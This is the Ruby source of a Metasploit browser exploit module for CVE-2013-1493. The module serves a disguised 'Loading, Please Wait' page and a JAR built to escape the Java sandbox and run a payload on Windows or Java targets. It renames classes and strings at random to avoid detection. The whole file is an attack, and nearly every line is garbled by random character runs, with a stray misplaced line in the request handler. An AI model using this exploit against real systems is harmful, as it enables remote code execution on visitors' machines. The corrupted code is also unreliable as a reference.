##
9 @9 q2 Z1 X U
/ i4 K+ W X" F2 G& c) k0 R# This file is part of the Metasploit Framework and may be subject to# b1 w) g2 Y- }7 W' G" V2 ~
# redistribution and commercial restrictions. Please see the Metasploit
, d. P' \5 a, |, B8 ]3 b# web site for more information on licensing and terms of use.
8 z, v) k. K j2 |# http://metasploit.com/
! n3 {& J' u: Q; M( U" d( w+ [2 n##
6 h. j( n9 S4 I: D, Urequire ‘msf/core’
: B/ i7 | y$ V/ p# d0 Yrequire ‘rex’& B) @% K% X+ t$ P9 m: P
class Metasploit3 < Msf::Exploit::Remote* r9 p/ y$ G5 y
Rank = NormalRanking
9 E5 ?6 l6 ^$ hinclude Msf::Exploit::Remote::HttpServer::HTML* f s& [' p. ^! F! i* d
include Msf::Exploit::EXE) H1 g u9 G# U% n% z T0 Z7 h: k# R
include Msf::Exploit::Remote::BrowserAutopwn
; m; Q9 w9 \; u4 k8 Qautopwn_info({ :javascript => false })( P( d# C0 M; M
def initialize( info = {} )2 @! A1 w5 M2 K1 [! ~: L
super( update_info( info,+ @8 L- O9 H3 w M
‘Name’ => ‘Java CMM Remote Code Execution’,& b! t1 R3 V2 R6 o
‘Description’ => %q{
, Y0 _" G( B: i3 J2 f' h( NThis module abuses the Color Management classes from a Java Applet to run
k- N4 }( m3 q. _' X, J6 i; N# barbitrary Java code outside of the sandbox as exploited in the wild in February
& ^0 R; F3 u+ Z+ ^and March of 2013. The vulnerability affects Java version 7u15 and earlier and 6u412 A$ X9 N9 @# b- o
and earlier and has been tested successfully on Windows XP SP3 and Windows 7 SP1
- i+ a9 h* f v& O8 v, g; i5 P6 lsystems. This exploit doesn’t bypass click-to-play, so the user must accept the java: z' J* ~$ Q1 ^; q
warning in order to run the malicious applet.
' D; I1 n4 _8 Q& x! i% d}," e# h4 P$ u7 ~, ]
‘License’ => MSF_LICENSE,
* _8 U+ [/ M8 Y! \7 r6 X1 W! d‘Author’ =>. r( M8 N5 `. C# ?0 K4 H
'Unknown', # Vulnerability discovery and Exploit
3 u! M8 k# k8 T4 D. ?+ t'juan vazquez' # Metasploit module (just ported the published exploit)
_& _0 d6 u% ? e: b8 z z s],
4 t1 I! Q% X# c8 g‘References’ =>
# [& a. P$ E& y* E[1 e$ m2 L* f7 c- T3 u, O. `3 O& x
[ 'CVE', '2013-1493' ],
' s5 S9 o4 b$ L0 y# z[ 'OSVDB', '90737' ],3 z k" g1 M! Z: Q0 t* F
[ 'BID', '58238' ],
, h6 O, q2 K" |5 D: T6 @[ 'URL', 'https://blogs.oracle.com/security/entry/security_alert_cve_2013_1493' ],6 F( X+ J8 S+ R' k0 w9 B, o
[ 'URL', 'http://www.oracle.com/technetwork/topics/security/alert-cve-2013-1493-1915081.html' ],9 ~! @4 m4 Q6 U' }' f" s0 ~0 X% m
[ 'URL', 'http://pastie.org/pastes/6581034' ]% x7 T2 y- R" `% x& r! }3 T
],2 d- |2 k3 `7 r. ?) K3 s$ O. j3 a
‘Platform’ => [ 'win', 'java' ],$ Q) u7 F! J, E C+ z$ g) H
‘Payload’ => { ‘Space’ => 20480, ‘BadChars’ => ”, ‘DisableNops’ => true },3 z# H0 s2 s/ r. n% i+ f
‘Targets’ =>8 b* A' n. z; h# ]4 H! W
[
2 ?- _. i' l) D4 ~: l[ 'Generic (Java Payload)',2 S9 ^. c$ M' {4 {2 a: Y- G+ Q! d- f
{
/ f' r1 H' v" F+ D'Platform' => 'java',. l$ A2 X( v9 i+ ]& A/ l7 i# u
'Arch' => ARCH_JAVA' A1 c6 X" r0 L3 E, z( N
}
) _( I1 O1 N1 K6 P) e],* t8 N& b! |1 I; v
[ 'Windows x86 (Native Payload)',
- l% W" a* e# m1 @. i2 e{
3 N9 o0 K; s& s! A* P( ]2 N'Platform' => 'win',
1 q1 e% \. U: V# A2 b'Arch' => ARCH_X865 k! N+ R2 }, e2 H
}& @! B7 ~1 g7 ~2 M g
]4 v& ?, m$ a F' I1 S' { |* `) ?
],
; M8 t7 Y6 v8 M0 u/ x7 r. Y‘‘DisclosureDate’ => ‘Mar 01 2013′
2 R- Q4 v1 z7 R* \))' ]+ M/ D. S5 G" b. w
end
* \3 S u4 y9 b2 Odef setup
3 Z3 t9 D/ p/ K& Z, Z. ~+ xpath = File.join(Msf::Config.install_root, “data”, “exploits”, “cve-2013-1493″, “Init.class”)3 N( \7 p$ V4 R& V T$ g
@init_class = File.open(path, “rb”) {|fd| fd.read(fd.stat.size) }/ q/ ~. d5 n5 ^3 r
path = File.join(Msf::Config.install_root, “data”, “exploits”, “cve-2013-1493″, “Leak.class”)# M, h& U2 [% r0 V. D
@leak_class = File.open(path, “rb”) {|fd| fd.read(fd.stat.size) }- s$ B1 P y0 ?5 H+ ?
path = File.join(Msf::Config.install_root, “data”, “exploits”, “cve-2013-1493″, “MyBufferedImage.class”)* R8 S9 S( p! ~/ k1 W
@buffered_image_class = File.open(path, “rb”) {|fd| fd.read(fd.stat.size) }
* }9 A7 f8 t+ {- ?% hpath = File.join(Msf::Config.install_root, “data”, “exploits”, “cve-2013-1493″, “MyColorSpace.class”)
d8 |6 L7 K* o@color_space_class = File.open(path, “rb”) {|fd| fd.read(fd.stat.size) }
' a$ ~4 ^4 V8 {: T@init_class_name = rand_text_alpha(“Init”.length). l! S' n. o! F9 b) c% ^
@init_class.gsub!(“Init”, @init_class_name)
5 f3 D4 W9 C- d( xsuper
. t& B: \+ j& L2 Z7 v [0 wend
: Y* @" {7 e, ~. |4 A h& \3 g3 e! ~def on_request_uri(cli, request). p2 w1 \( ?) t8 z
print_status(“handling request for #{request.uri}”)( R# D9 j6 \1 m/ e7 \- [1 K# b; a3 z
case request.uri& ?. | ]- f+ O4 u9 D3 m) @
when /\.jar$/i
7 C+ m3 S, d% Z6 h5 f. `. {jar = payload.encoded_jar2 B. ` S3 y$ B+ W8 X* Q2 g
jar.add_file(“#{@init_class_name}.class”, @init_class)
) @- g8 k% D9 M9 l7 |3 Hjar.add_file(“Leak.class”, @leak_class)2 M- u: |, A) z* b; L* h
jar.add_file(“MyBufferedImage.class”, @buffered_image_class). ~# \/ O3 L: f0 M
jar.add_file(“MyColorSpace.class”, @color_space_class)
" y" P/ g' i0 ]7 x& Z6 Z8 K9 |DefaultTarget’ => 1,1 k# g3 Q1 T( o1 w
metasploit_str = rand_text_alpha(“metasploit”.length)! t) \% }" s* o1 n
payload_str = rand_text_alpha(“payload”.length)
2 C; |2 Z8 a4 I0 b+ Ljar.entries.each { |entry|
5 T+ x3 Z9 U% k9 J# Q: {, h( M# E; Z! Qentry.name.gsub!(“metasploit”, metasploit_str)4 e G" Z. w: m( t
entry.name.gsub!(“Payload”, payload_str)
B4 q' k8 s6 q0 l* o0 centry.data = entry.data.gsub(“metasploit”, metasploit_str)- C% P* u! k! { J/ {; ?
entry.data = entry.data.gsub(“Payload”, payload_str)& ^7 Y2 O2 f3 l6 T# x8 [
}9 Z, ?& v' L- U* o1 S. }
jar.build_manifest
" \7 ]3 N: a0 }send_response(cli, jar, { ‘Content-Type’ => “application/octet-stream” })) J8 N! w7 ]! j
when /\/$/( o( E }! X4 ]# r& m; c/ Y; j6 k
payload = regenerate_payload(cli)
5 u7 d& a1 d v# L6 E6 _9 Xif not payload3 L+ N& a7 @4 u; n' [$ | \
print_error(“Failed to generate the payload.”)" M* {& o' e9 c' B" S: y
send_not_found(cli): a$ G+ u, }: D7 t# A! W
return
2 v. V0 W. H2 ?' k lend8 ~' d# ~5 ~8 Z1 W5 K& s
send_response_html(cli, generate_html, { ‘Content-Type’ => ‘text/html’ })
/ S! ~0 R& k4 l% v; O: Aelse
; m- _, Z+ U; d* l1 V! dsend_redirect(cli, get_resource() + ‘/’, ”)' M4 m. M- u R+ v
end
1 R0 Q/ c- K; [& V; D9 }1 Iend
& P( Q& S+ A/ P1 [, @def generate_html
. I" t4 }( W0 D/ c7 n+ A9 thtml = %Q|<html><head><title>Loading, Please Wait…</title></head>|! s+ v" V- L! a5 U# |" @, x: z
html += %Q|<body><center><p>Loading, Please Wait…</p></center>|/ u8 M$ L. p+ k+ M2 z% R
html += %Q|<applet archive=”#{rand_text_alpha(8)}.jar” code=”#{@init_class_name}.class” width=”1″ height=”1″>|, d) b7 @' l' B9 N9 L t, @
html += %Q|</applet></body></html>|" t# |- }9 i; Y8 q0 U9 s* @, R
return html* c+ D1 z# P0 U0 ~/ m% v$ H
end
! T0 {) S* x3 b# n" Pend# G4 f0 p% r! A [
end
3 o8 B2 m% h# X1 d9 b6 e7 X9 M0 r |